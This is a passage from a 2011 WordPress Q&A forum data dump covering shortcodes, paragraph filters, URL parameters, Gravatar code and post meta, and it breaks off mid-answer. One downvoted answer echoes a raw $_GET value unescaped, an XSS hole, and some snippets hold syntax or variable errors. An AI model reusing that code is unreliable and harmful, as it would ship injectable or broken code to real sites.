  <row Id="24546" PostTypeId="2" ParentId="24469" CreationDate="2011-07-31T16:02:25.123" Score="0" ViewCount="" Body="&lt;p&gt;I'm still not sure exactly what you're trying to do, but here's one possibility if it's to display something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PAGE CONTENT | SHORTCODE/POSTS LOOP | SIDEBAR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have control of the shortcode content? If so, you could update it so its output is wrapped in a &lt;code&gt;&amp;lt;div id=&quot;shortcodecontent&quot;&amp;gt; --shortcode post-loop output-- &amp;lt;/div&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add a text widget to your sidebar and insert the [shortcode] within it. If shortcodes aren't rendering when inserted in widgets, add the following line to the functions.php file within your theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('widget_text', 'do_shortcode');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, the shortcode output will appear first, before any of the other widgets in your sidebar. Using CSS, style the wrapping #shortcodecontent div so that your shortcode widget floats to the left of the other widgets in your sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps in some way! Best of luck.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-07-31T16:02:25.123" />
  <row Id="24547" PostTypeId="2" ParentId="8307" CreationDate="2011-07-31T16:03:41.677" Score="0" ViewCount="" Body="&lt;p&gt;This is a hack, I know several people who this is happening to right now. It's either a virus or a low level keyloger that can evade a virus scan. It's able to achieve it's aims on Linux, so it's not a petty piece of mail-ware. This is something that needs to be eradicated and the perpetrators caught and put on trial. It's basically made it imposible for me to use the internet, and given that I am house bound that isn't a small thing.&lt;/p&gt;&#xA;" OwnerUserId="7497" LastActivityDate="2011-07-31T16:03:41.677" />
  <row Id="24548" PostTypeId="2" ParentId="24538" CreationDate="2011-07-31T16:19:03.337" Score="2" ViewCount="" Body="&lt;p&gt;You can add 2nd featured image using &lt;a href=&quot;http://wordpress.org/extend/plugins/multiple-post-thumbnails/installation/&quot; rel=&quot;nofollow&quot;&gt;Multiple Post Thumbnails&lt;/a&gt; plugin, make sure to follow the installation instruction.&lt;/p&gt;&#xA;" OwnerUserId="6851" LastActivityDate="2011-07-31T16:19:03.337" CommentCount="2" />
  <row Id="24549" PostTypeId="2" ParentId="24125" CreationDate="2011-07-31T17:34:18.130" Score="1" ViewCount="" Body="&lt;p&gt;I guess your folders are linked to different domains or subdomains. I usually use a domain and a subdomain (www.domain.com and dev.domain.com, for example) to let me work in the pre-production site (not indexed by search engines, this is quite important to avoid duplicated contents and SEO problems) before applying changes to the final one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress MU is useful if you have a blog network because it lets you update themes, plugins and WP version easily (amongst other things), but I'd not say it's useful for the purpose you're looking for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd use two different folders (mysite and dev-mysite, for example) and not use root as the production folder, because that can lead to confusion. But pointing domain and subdomain to these folders will let you work on any of them easily and update the final (production) one when the changes are ready.&lt;/p&gt;&#xA;" OwnerUserId="3795" LastActivityDate="2011-07-31T17:34:18.130" CommentCount="2" />
  <row Id="24550" PostTypeId="2" ParentId="24514" CreationDate="2011-07-31T17:40:42.150" Score="0" ViewCount="" Body="&lt;p&gt;If you're using WordPress MU, I'm affraid you must use the same database, is the way WPMU works. I think there are (or were) plugins to allow you to do that, but the WordPress developers must have designed the MU feature this way for a good reason...&lt;/p&gt;&#xA;" OwnerUserId="3795" LastActivityDate="2011-07-31T17:40:42.150" />
  <row Id="24551" PostTypeId="1" CreationDate="2011-07-31T18:35:37.153" Score="0" ViewCount="62" Body="&lt;p&gt;i have Wp blog that need to receive a custom paramter on category page for filter the posts like my rule.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://mysite.com/category/teste?myvar=ABC&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/category/teste?myvar=ABC&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can I get the myvar from URL? I tried a lot of examples on the web, but no one works for the category page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5403" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-03T19:32:00.260" LastActivityDate="2011-09-02T20:39:58.777" Title="Custom URl parameter" Tags="&lt;wp-query&gt;&lt;post-meta&gt;" AnswerCount="3" />
  <row Id="24552" PostTypeId="1" AcceptedAnswerId="26657" CreationDate="2011-07-31T18:52:51.920" Score="2" ViewCount="41" Body="&lt;p&gt;There's a &lt;code&gt;wp_blogs&lt;/code&gt; table which is very usefull when you want to get a list of blogs (and this is what I need to do).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I can't seem to be able to get the blog language from the &lt;code&gt;lang_id&lt;/code&gt; field within that table. It just doesn't match the &lt;code&gt;WPLANG&lt;/code&gt; option which set in each blog's option table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, I could switch to each blog and do a &lt;code&gt;get_bloginfo('language')&lt;/code&gt;, but that's quite expensive when you have a large number of blogs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what's up with that &lt;code&gt;lang_id&lt;/code&gt; field? What is it for?&lt;/p&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-01T11:56:12.453" LastActivityDate="2011-08-23T10:43:28.530" Title="Getting a blog language (site &quot;lang_id&quot; field vs the WPLANG setting)" Tags="&lt;multisite&gt;&lt;language&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="24553" PostTypeId="1" AcceptedAnswerId="24556" CreationDate="2011-07-31T20:11:44.877" Score="1" ViewCount="56" Body="&lt;p&gt;I am trying to create two functions, one that catches the first paragraph of some content, and one that catches the rest, but I have hit a bit of a conundrum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this in my single.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class='the_content'&amp;gt;&#xA;  &amp;lt;?php the_content(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which produces:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;the_content&quot;&amp;gt;&#xA;   &amp;lt;p&amp;gt;The content .....&amp;lt;/p&amp;gt;&#xA;   &amp;lt;p&amp;gt;The content .....&amp;lt;/p&amp;gt;&#xA;   &amp;lt;p&amp;gt;The content .....&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;each paragraph all nicely wrapped in a &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tag. I &lt;em&gt;assumed&lt;/em&gt; that I could simple break the &lt;code&gt;explode()&lt;/code&gt; the content based on the string &lt;code&gt;&amp;lt;/p&amp;gt;&lt;/code&gt;, theoretically splitting the content into paragraphs, but &lt;strong&gt;all&lt;/strong&gt; the content is in the first resulting array element. I investigated, and there are no &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags in either the HTML edit, or indeed the database entry. Both look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The Content .....&#xA;The Content .....&#xA;The Content .....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note:&lt;em&gt;Line breaks present, but not &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where does Wordpress add the &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; back in? How does it find the line breaks and how can I hook a function into that?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FYI&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the function that fails, based closely on the &lt;code&gt;the_content()&lt;/code&gt; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_first_paragraph(){&#xA;    $content = $firstcontent = get_the_content();&#xA;    $content = str_replace(']]&amp;gt;', ']]&amp;amp;gt;', $content);&#xA;    $content = explode('&amp;lt;/p&amp;gt;',$content);&#xA;&#xA;    return $content[0];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-07-31T21:37:42.977" Title="Finding the paragraphs in content" Tags="&lt;plugin-development&gt;&lt;theme-development&gt;&lt;content&gt;&lt;the-content&gt;" AnswerCount="3" />
  <row Id="24554" PostTypeId="2" ParentId="24553" CreationDate="2011-07-31T20:47:46.627" Score="2" ViewCount="" Body="&lt;p&gt;If I have understand you, what you want is permalinks for each paragraph? The known blogger Dave Winer &lt;a href=&quot;http://scripting.com/stories/2010/06/23/improvingParagraphlevelPer.html#p9&quot; rel=&quot;nofollow&quot;&gt;wrote about this&lt;/a&gt; a year ago, and there's a plugin called &lt;a href=&quot;http://wordpress.org/extend/plugins/winerlinks/&quot; rel=&quot;nofollow&quot;&gt;WinerLinks&lt;/a&gt; that puts a '#' after each paragraph, that makes that paragraph linkable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it works for you.&lt;/p&gt;&#xA;" OwnerUserId="3795" LastActivityDate="2011-07-31T20:47:46.627" CommentCount="1" />
  <row Id="24555" PostTypeId="2" ParentId="24553" CreationDate="2011-07-31T21:36:30.450" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Where does Wordpress add the &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; back in?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;afaik, by applying the 'the_content' filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;possible examples for your functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_first_paragraph() { &#xA;    $text = apply_filters('the_content', get_the_content() );&#xA;    $paragraphs = explode('&amp;lt;/p&amp;gt;', $text);&#xA;    $first_paragraph = array_shift($paragraphs).'&amp;lt;/p&amp;gt;';&#xA;return $first_paragraph;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_last_paragraphs() { &#xA;    $text = apply_filters('the_content', get_the_content() );&#xA;    $paragraphs = explode('&amp;lt;/p&amp;gt;', $text);&#xA;    $first_paragraph = array_shift($paragraphs).'&amp;lt;/p&amp;gt;';&#xA;    $rest_paragraphs = implode('&amp;lt;/p&amp;gt;', $paragraphs);&#xA;return $rest_paragraphs; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-07-31T21:36:30.450" />
  <row Id="24556" PostTypeId="2" ParentId="24553" CreationDate="2011-07-31T21:37:42.977" Score="1" ViewCount="" Body="&lt;p&gt;The paragraphs are done by the &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.1/wp-includes/formatting.php#L181&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wpautop()&lt;/code&gt;&lt;/a&gt; function, hooked to &lt;code&gt;the_content&lt;/code&gt;, &lt;code&gt;the_excerpt()&lt;/code&gt; &amp;amp; &lt;code&gt;comment_text&lt;/code&gt; as well as &lt;code&gt;'term_description'&lt;/code&gt; for taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The plugin linked by @javipas does an enormous effort to just add this, but it's a good example (+1). You can (modify it a little and) take the following part out of it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// The init function&#xA;function wpse24553_add_p_the_content()&#xA;{&#xA;    add_filter( 'the_content', 'wpse24553_p_the_content' );&#xA;    add_filter( 'the_content_feed', 'wpse24553_p_the_content' );&#xA;}&#xA;add_action( 'init', 'wpse24553_add_p_the_content' );&#xA;&#xA;// The actual modification function&#xA;function wpse24553_p_the_content( $the_content )&#xA;{&#xA;    global $post;&#xA;&#xA;    $content_by_p = preg_split( '/&amp;lt;\/p&amp;gt;/is', $the_content );&#xA;&#xA;    $i = 0;&#xA;    // Set a var to count until the targeted &amp;lt;p&amp;gt; is met - change this to your needs&#xA;    // Set to empty '' if you want to modify every paragraph&#xA;    $targeted_p = 1;&#xA;&#xA;    static $new_content = '';&#xA;&#xA;    foreach ( $content_by_p as $key =&amp;gt; $p )&#xA;    {&#xA;        $i++;&#xA;        // abort and return the modified content if we're beyond the targeted &amp;lt;p&amp;gt;&#xA;        if ( $i &amp;gt; $targeted_p )&#xA;            {&#xA;            $new_content .= $p;&#xA;                    continue;&#xA;            }&#xA;&#xA;        // Remove empty space at the end of a paragraph, then remove original &amp;lt;p&amp;gt;-tag&#xA;        $p = rtrim( $p );&#xA;        $p = preg_replace( '/&amp;lt;p&amp;gt;/is', '', $p );&#xA;&#xA;        // Wrap replacements in new &amp;lt;p&amp;gt;-tags, so it validates&#xA;        $new_content .= '&amp;lt;p class=&quot;paragraph-link&quot;&amp;gt;&amp;lt;a name=&quot;p-'.$key.'&quot;&amp;gt;&amp;lt;/a&amp;gt;';&#xA;        // Prepend the graf with an anchor tag&#xA;        $new_content .= '&amp;lt;a ref=&quot;permalink&quot; title=&quot;Permalink to this paragraph&quot; href=&quot;'.get_permalink( $post-&amp;gt;ID ).'#p-'.$key.'&quot;&amp;gt;#&amp;lt;/a&amp;gt;;&#xA;        $new_content .= $p;&#xA;        $new_content .= '&amp;lt;/p&amp;gt;';&#xA;    }&#xA;&#xA;    // Return the new content&#xA;    return $new_content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Notes:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The function needs to be placed in your functions.php&lt;/li&gt;&#xA;&lt;li&gt;You need to alter the function and what gets added/removed/modified with a single paragraph by yourself (no use case in the Q).&lt;/li&gt;&#xA;&lt;li&gt;The function currently is not tested.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-31T21:37:42.977" CommentCount="1" />
  <row Id="24557" PostTypeId="2" ParentId="10088" CreationDate="2011-07-31T21:46:21.690" Score="2" ViewCount="" Body="&lt;p&gt;This issue &lt;a href=&quot;http://wordpress.org/support/topic/argh-have-done-all-setup-but-cant-get-plugin-to-work&quot; rel=&quot;nofollow&quot;&gt;came up again&lt;/a&gt; and this time I was able to reproduce and troubleshoot it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress declares that is expects deflated data with high priority, but for some reason it cannot inflate some responses - they are not recognized by either &lt;code&gt;gzinflate()&lt;/code&gt; or &lt;code&gt;WP_Http_Encoding::compatible_gzinflate()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my specific case there seems to have been two extra bytes at start that caused this. Figured out from &lt;a href=&quot;http://php.net/manual/en/function.gzinflate.php&quot; rel=&quot;nofollow&quot;&gt;comments to &lt;code&gt;gzinflate()&lt;/code&gt; docs&lt;/a&gt; that are also source of &lt;code&gt;WP_Http_Encoding::compatible_gzinflate()&lt;/code&gt;, but apparently that function is not perfect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Crude quick fix that checks if response holds JSON data and tries to correct compression issue otherwise:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('http_response', 'mailchimp_http_response_inflate_fix', 10, 3);&#xA;&#xA;function mailchimp_http_response_inflate_fix($response, $args, $url) {&#xA;&#xA;    if( false === strpos($url, 'sts.mailchimp.com') )&#xA;        return $response;&#xA;&#xA;    $json = json_decode($response['body']);&#xA;&#xA;    if( is_null($json) ) {&#xA;&#xA;        $inflate = @gzinflate(substr($response['body'], 2));&#xA;&#xA;        if( false !== $inflate )&#xA;            $response['body'] = $inflate;&#xA;    }&#xA;&#xA;    return $response;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-31T21:46:21.690" />
  <row Id="24558" PostTypeId="2" ParentId="24551" CreationDate="2011-07-31T21:52:23.387" Score="-1" ViewCount="" Body="&lt;p&gt;You could use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$myvar = $_GET['myvar'];&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to make sure, u could also put this code in any page to test it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;echo $myvar;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is simply the $GET[] function in PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it helps, and for more info visit this &lt;a href=&quot;http://www.tizag.com/phpT/postget.php&quot; rel=&quot;nofollow&quot;&gt;website&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7382" LastActivityDate="2011-07-31T21:52:23.387" CommentCount="1" />
  <row Id="24559" PostTypeId="1" CreationDate="2011-07-31T23:09:19.493" Score="0" ViewCount="50" Body="&lt;p&gt;I'm writing a plugin. Can anyone please show me how to edit the content of a published post? I've tried using this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function edit( $post_ID ) {&#xA;$content = &quot;Hello. This is a test.&quot;;&#xA;$post_info = get_post($post_ID);    &#xA;$post_info-&amp;gt;post_content = &quot;$content&quot;;&#xA;}&#xA;&#xA;add_action('publish_post', 'edit');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although I'm having no luck. Can anyone suggest how to get it working? Thanks for the help.&lt;/p&gt;&#xA;" OwnerUserId="7499" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-07-31T23:40:58.970" LastActivityDate="2011-07-31T23:40:58.970" Title="How to edit a published post?" Tags="&lt;plugins&gt;&lt;database&gt;" AnswerCount="1" CommentCount="7" />
  <row Id="24561" PostTypeId="2" ParentId="24559" CreationDate="2011-07-31T23:37:08.927" Score="2" ViewCount="" Body="&lt;p&gt;You modified a copy of a row from the wp_posts table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to send the modified version back to the database:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_update_post( $post_info );&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-31T23:37:08.927" CommentCount="7" />
  <row Id="24562" PostTypeId="1" CreationDate="2011-08-01T00:35:12.527" Score="-1" ViewCount="46" Body="&lt;p&gt;I'm building Gravatar code for a theme for SEO reasons, basically don't like the default WordPress Gravatar code because for each avatar it adds an image to the page with no alt text which could have a negative SEO impact. Instead using the image as a background image with has no SEO impact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have the code working, but not with Mystery Man or Blank setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looked at /wp-includes/pluggable.php and found the issue around line 1712 which is Mystery Man code, basically one Gravatar image is used (this image &lt;a href=&quot;http://0.gravatar.com/avatar/ad516503a11cd5ca435acc9bb6523536&quot; rel=&quot;nofollow&quot;&gt;http://0.gravatar.com/avatar/ad516503a11cd5ca435acc9bb6523536&lt;/a&gt;) for all Mystery Men avatars except when the person has set a custom Gravatar. Similar idea with Blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fixing Blank was easy enough, but what I've come up with so far means custom Gravatars (user selected ones) don't work when Mystery Man is selected. With the code below the default Mystery Man image is always used. I've looked through the WordPress Gravatar code and can't figure out how the custom Gravatars are selected?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php /*echo get_avatar($comment, 60);*/&#xA;$email = $comment-&amp;gt;comment_author_email;&#xA;$size = 60;&#xA;$rating = get_option('avatar_rating');&#xA;$gravtype = get_option('avatar_default');&#xA;if ($gravtype=='mystery')&#xA;$grav_url = &quot;http://0.gravatar.com/avatar/ad516503a11cd5ca435acc9bb6523536?s=&quot; . $size .&quot;&amp;amp;amp;d=&quot; . $gravtype .&quot;&amp;amp;amp;r=&quot;. $rating;&#xA;elseif ($gravtype=='blank')&#xA;$grav_url = &quot;/wp-includes/images/blank.gif&quot;;&#xA;else &#xA;$grav_url = &quot;http://0.gravatar.com/avatar/&quot; . md5($email) . &quot;?s=&quot; . $size .&quot;&amp;amp;amp;d=&quot; . $gravtype .&quot;&amp;amp;amp;r=&quot;. $rating;&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;gravatars&quot; style=&quot;background: url(&amp;lt;?php echo $grav_url ?&amp;gt;)&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;David&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPdate : Solved&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to the suggestion from Bainternet using this code below which apears to work so far (not tested extensivly yet):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php /*echo get_avatar($comment, 60);*/&#xA;$email = $comment-&amp;gt;comment_author_email;&#xA;$size = 60;&#xA;$rating = get_option('avatar_rating');&#xA;$gravtype = get_option('avatar_default');&#xA;$default = urlencode( 'http://www.gravatar.com/avatar/ad516503a11cd5ca435acc9bb6523536?s=' . $size );&#xA;if ($gravtype=='mystery')&#xA;$grav_url = 'http://www.gravatar.com/avatar/'. md5( strtolower( trim( $email ) ) ). '?s=' . $size . '&amp;amp;r=' . $rating . '&amp;amp;d=' . $default;&#xA;elseif ($gravtype=='blank')&#xA;$grav_url = &quot;/wp-includes/images/blank.gif&quot;;&#xA;else &#xA;$grav_url = &quot;http://0.gravatar.com/avatar/&quot; . md5( strtolower( trim( $email ) ) ) . &quot;?s=&quot; . $size .&quot;&amp;amp;amp;d=&quot; . $gravtype .&quot;&amp;amp;amp;r=&quot;. $rating;&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;gravatars&quot; style=&quot;background: url(&amp;lt;?php echo $grav_url ?&amp;gt;)&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;David&lt;/p&gt;&#xA;" OwnerUserId="2062" LastEditorUserId="2062" LastEditorDisplayName="" LastEditDate="2011-08-01T12:42:24.050" LastActivityDate="2011-08-01T12:42:24.050" Title="Building Gravatar Code" Tags="&lt;gravatar&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="24563" PostTypeId="1" AcceptedAnswerId="24572" CreationDate="2011-08-01T01:31:37.050" Score="0" ViewCount="45" Body="&lt;pre&gt;&lt;code&gt;Your `warmHome_cutstr` function causes in the inline stylesheet of the gallery to be displayed. See gallery-post.jpg.[http://themes.trac.wordpress.org/attachment/ticket/4560/gallery-post.jpg][1] To solve this, you need to hook into the_content and remove the gallery shortcode. In functions.php:&#xA;&#xA;    add_filter( 'the_content', 'warmHome_content_filter' );&#xA;    function warmHome_content_filter( $text )  {&#xA;        $text = strip_shortcodes( $text );&#xA;        return $text;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the following is my &lt;code&gt;warmHome_cutstr&lt;/code&gt; function. how to correct it. i have added the above function. but don't know how to  remove the gallery shortcode.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function warmHome_cutstr($string, $length) {&#xA;             $string =strip_tags($string);&#xA;         $strcut= '';&#xA;         if(strlen($string) &amp;gt; $length) {&#xA;        preg_match_all(&quot;/[\x01-\x7f]|[\xc2-\xdf][\x80-\xbf]|\xe0[\xa0-\xbf][\x80-\xbf]|[\xe1-\xef][\x80-\xbf][\x80-\xbf]|\xf0[\x90-\xbf][\x80-\xbf][\x80-\xbf]|[\xf1-\xf7][\x80-\xbf][\x80-\xbf][\x80-\xbf]/&quot;, $string, $info);&#xA;         $j = 0;&#xA;        for($i=0; $i&amp;lt;count($info[0]); $i++) {&#xA;&#xA;                $strcut .= $info[0][$i];&#xA;&#xA;                $j = ord($info[0][$i]) &amp;gt; 127 ? $j + 2 : $j + 1;&#xA;                if ($j &amp;gt; $length - 3) {&#xA;                        return $strcut.&quot; ...&quot;;&#xA;                }&#xA;        }&#xA;        return join('', $info[0]);&#xA;                 } else {&#xA;                          return $string;&#xA;                 }&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1962" LastActivityDate="2011-08-01T08:44:11.817" Title="how to remove the gallery shortcode in wordpress?" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="24564" PostTypeId="2" ParentId="5358" CreationDate="2011-08-01T03:24:15.110" Score="0" ViewCount="" Body="&lt;p&gt;I know it's a little too long to answer here, but hope someone finds this helpful in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to implement a similar functionality for a project I'm working on.  The best way is to make a new sql table(or a view on the wp_comments table) for storing only the comment data you want to return in the search results. Then use these undocumented actions/filters for comments: &lt;strong&gt;comment_{old status}&lt;em&gt;to&lt;/em&gt;{new status}&lt;/strong&gt; ('deleted', 'approved', 'unapproved', 'spam'), &lt;strong&gt;approve_comment, approved_comment&lt;/strong&gt; (run before and after approval of a comment), &lt;strong&gt;delete_comment, deleted_comments&lt;/strong&gt; (run before and after permanent deletion of a comment), &lt;strong&gt;trash_comment, trashed_comment&lt;/strong&gt;(runs before and after trashing a comment) to update this table(as you wouldn't want a comment to be searched if it's unapproved or spammed or trashed or deleted, would you ?). Then you can fire your search queries on this custom table.&#xA;If you need examples for these actions/filters, feel free to ask me!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;rutwick&lt;/p&gt;&#xA;" OwnerUserId="4740" LastActivityDate="2011-08-01T03:24:15.110" CommunityOwnedDate="2011-08-01T03:24:15.110" />
  <row Id="24566" PostTypeId="1" CreationDate="2011-08-01T04:49:20.220" Score="0" ViewCount="65" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php $fields = get_post_custom($ID); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will fetch the custom fields (&lt;code&gt;$key =&amp;gt; $value&lt;/code&gt;) for &lt;code&gt;$ID&lt;/code&gt; in to the array &lt;code&gt;$fields&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want ALL the fields (both custom &amp;amp; standard WP fields) associated with the &lt;code&gt;$ID&lt;/code&gt; in one &lt;code&gt;array $fields_all&lt;/code&gt;. How to do this in a simpler way?....is there a single function available in WP?&lt;/p&gt;&#xA;" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-08-01T14:20:49.987" LastActivityDate="2011-08-01T14:20:49.987" Title="How i can obtain all the post meta for a specific post as an array?" Tags="&lt;php&gt;&lt;mysql&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="24567" PostTypeId="1" CreationDate="2011-08-01T05:49:21.893" Score="0" ViewCount="14" Body="&lt;p&gt;The following will fetch the comments associated with the particular post-name.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/post-name/feed/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want all the content (all the fields) in the standard xml feed format for the specific post-name. How to achieve this.... &lt;/p&gt;&#xA;" OwnerUserId="7502" LastActivityDate="2011-08-01T05:49:21.893" Title="How to get xml feed for a specific post" Tags="&lt;rss&gt;&lt;wordpress.org&gt;&lt;feed&gt;" CommentCount="1" />
  <row Id="24568" PostTypeId="2" ParentId="24566" CreationDate="2011-08-01T05:49:57.687" Score="4" ViewCount="" Body="&lt;p&gt;there is no single function you can use but you can create your own something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_all_post_fields($post_id){&#xA;    $p['standard'] = get_post($post_id, ARRAY_A);&#xA;    $p['meta'] = get_post_custom($post_id);&#xA;    return $p;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then once you have this in your functions.php file  you can use it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fields_all = get_all_post_fields($ID);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you have just the title then i have a simple function i use a lot to get the post id by the title:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_post_ID_by_title($page_title) {&#xA;    global $wpdb;&#xA;        $post_id = $wpdb-&amp;gt;get_var( $wpdb-&amp;gt;prepare( &quot;SELECT ID FROM $wpdb-&amp;gt;posts WHERE post_title = %s AND post_type='post'&quot;, $page_title ));&#xA;        if ( $post_id )&#xA;            return post_id;&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;usage: &lt;code&gt;$post_id = get_post_ID_by_title(&quot;this is my 